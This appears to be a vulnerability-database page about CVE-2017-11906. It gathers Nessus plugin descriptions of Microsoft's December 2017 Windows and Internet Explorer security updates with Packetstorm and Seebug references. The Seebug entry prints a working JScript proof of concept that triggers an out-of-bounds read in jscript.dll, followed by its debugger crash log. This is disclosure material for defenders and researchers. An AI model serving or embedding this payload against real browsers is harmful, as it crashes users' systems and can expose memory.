  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4054520.NASL
    descriptionThe remote Windows host is missing security update 4054523 or cumulative update 4054520. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11912) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913)
    last seen2020-06-01
    modified2020-06-02
    plugin id105186
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105186
    titleWindows Server 2012 December 2017 Security Updates
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4054519.NASL
    descriptionThe remote Windows host is missing security update 4054522 or cumulative update 4054519. It is, therefore, affected by multiple vulnerabilities : - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105185
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105185
    titleWindows 8.1 and Windows Server 2012 R2 December 2017 Security Updates
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_INTERNET_EXPLORER.NASL
    descriptionThe Internet Explorer installation on the remote host is missing security updates. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913)
    last seen2020-06-01
    modified2020-06-02
    plugin id105188
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/105188
    titleSecurity Updates for Internet Explorer (December 2017)
  • NASL familyWindows : Microsoft Bulletins
    NASL idSMB_NT_MS17_DEC_4053579.NASL
    descriptionThe remote Windows host is missing security update 4053579. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11889, CVE-2017-11893, CVE-2017-11905, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11914, CVE-2017-11918) - A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non- malicious, Device Guard could then allow a malicious file to execute. In an attack scenario, an attacker could make an untrusted file appear to be a trusted file. The update addresses the vulnerability by correcting how Device Guard handles untrusted files. (CVE-2017-11899) - An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11919) - A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11888) - A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11886, CVE-2017-11890, CVE-2017-11901, CVE-2017-11903, CVE-2017-11907, CVE-2017-11913) - A remote code execution vulnerability exists in RPC if the server has Routing and Remote Access enabled. An attacker who successfully exploited this vulnerability could execute code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2017-11885) - A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2017-11894, CVE-2017-11895, CVE-2017-11912, CVE-2017-11930) - An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the users system. (CVE-2017-11887, CVE-2017-11906) - An information disclosure vulnerability exists when the Windows its:// protocol handler unnecessarily sends traffic to a remote site in order to determine the zone of a provided URL. This could potentially result in the disclosure of sensitive information to a malicious site. (CVE-2017-11927)
    last seen2020-06-01
    modified2020-06-02
    plugin id105180
    published2017-12-12
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105180
    titleKB4053579: Windows 10 Version 1607 and Windows Server 2016 December 2017 Security Update

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/145483/GS20171219055214.txt
idPACKETSTORM:145483
last seen2017-12-19
published2017-12-19
reporterIvan Fratric
sourcehttps://packetstormsecurity.com/files/145483/Microsoft-Windows-jscript-RegExpFncObj-LastParen-Out-Of-Bounds-Read.html
titleMicrosoft Windows jscript!RegExpFncObj::LastParen Out-Of-Bounds Read

Seebug

bulletinFamilyexploit
descriptionThere is an out-of-bounds read in jscript.dll library (used in IE, WPAD and other places): PoC for IE (note: page heap might be required to obsorve the crash): ``` <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> function go() { var r= new RegExp(Array(100).join('()')); ''.search(r); alert(RegExp.lastParen); } go(); </script> ``` ### Debug log: ``` (cec.a14): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!RegExpFncObj::LastParen+0x43: 000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=???????? 0:014> r rax=0000000000000063 rbx=000000000476fd90 rcx=0000000000000063 rdx=0000000000000064 rsi=000000000476fd90 rdi=000007fef23d37d0 rip=000007fef23d3813 rsp=00000000130f9090 rbp=00000000130f9148 r8=00000000130f9210 r9=0000000000000000 r10=000000000463fef0 r11=000000000463ff38 r12=0000000000000083 r13=0000000000000000 r14=00000000130f9210 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 jscript!RegExpFncObj::LastParen+0x43: 000007fe`f23d3813 4863accbac000000 movsxd rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=???????? 0:014> k # Child-SP RetAddr Call Site 00 00000000`130f9090 000007fe`f2385e6d jscript!RegExpFncObj::LastParen+0x43 01 00000000`130f90e0 000007fe`f236b293 jscript!NameTbl::GetVal+0x3d5 02 00000000`130f9170 000007fe`f2369d27 jscript!VAR::InvokeByName+0x873 03 00000000`130f9380 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x373 04 00000000`130fa180 000007fe`f23694b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162 05 00000000`130fa390 000007fe`f23686ea jscript!NameTbl::InvokeInternal+0x2d3 06 00000000`130fa4b0 000007fe`f23624b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea 07 00000000`130fa500 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x5a6 08 00000000`130fb300 000007fe`f2368d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 09 00000000`130fb510 000007fe`f2368b95 jscript!ScrFncObj::Call+0xb7 0a 00000000`130fb5b0 000007fe`f236e6c0 jscript!CSession::Execute+0x19e 0b 00000000`130fb680 000007fe`f23770e7 jscript!COleScript::ExecutePendingScripts+0x17a 0c 00000000`130fb750 000007fe`f23768d6 jscript!COleScript::ParseScriptTextCore+0x267 0d 00000000`130fb840 000007fe`e9a85251 jscript!COleScript::ParseScriptText+0x56 0e 00000000`130fb8a0 000007fe`ea20b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 0f 00000000`130fb920 000007fe`e9a86256 MSHTML!CScriptCollection::ParseScriptText+0x37f 10 00000000`130fba00 000007fe`e9a85c8e MSHTML!CScriptData::CommitCode+0x3d9 11 00000000`130fbbd0 000007fe`e9a85a11 MSHTML!CScriptData::Execute+0x283 12 00000000`130fbc90 000007fe`ea2446fb MSHTML!CHtmScriptParseCtx::Execute+0x101 13 00000000`130fbcd0 000007fe`e9b28a5b MSHTML!CHtmParseBase::Execute+0x235 14 00000000`130fbd70 000007fe`e9a02e39 MSHTML!CHtmPost::Broadcast+0x90 15 00000000`130fbdb0 000007fe`e9a5caef MSHTML!CHtmPost::Exec+0x4bb 16 00000000`130fbfc0 000007fe`e9a5ca40 MSHTML!CHtmPost::Run+0x3f 17 00000000`130fbff0 000007fe`e9a5da12 MSHTML!PostManExecute+0x70 18 00000000`130fc070 000007fe`e9a60843 MSHTML!PostManResume+0xa1 19 00000000`130fc0b0 000007fe`e9a46fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1a 00000000`130fc100 000007fe`ea274f78 MSHTML!CDwnChan::OnMethodCall+0x41 1b 00000000`130fc130 000007fe`e9969d75 MSHTML!GlobalWndOnMethodCall+0x240 1c 00000000`130fc1d0 00000000`771f9bbd MSHTML!GlobalWndProc+0x150 1d 00000000`130fc250 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad 1e 00000000`130fc310 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5 1f 00000000`130fc390 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 20 00000000`130ff610 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3 21 00000000`130ff740 000007fe`f535925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 22 00000000`130ff770 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 23 00000000`130ff7c0 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd 24 00000000`130ff7f0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ```
idSSV:97008
last seen2017-12-25
modified2017-12-20
published2017-12-20
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-97008
titleWindows: out-of-bounds read in jscript!RegExpFncObj::LastParen(CVE-2017-11906)

References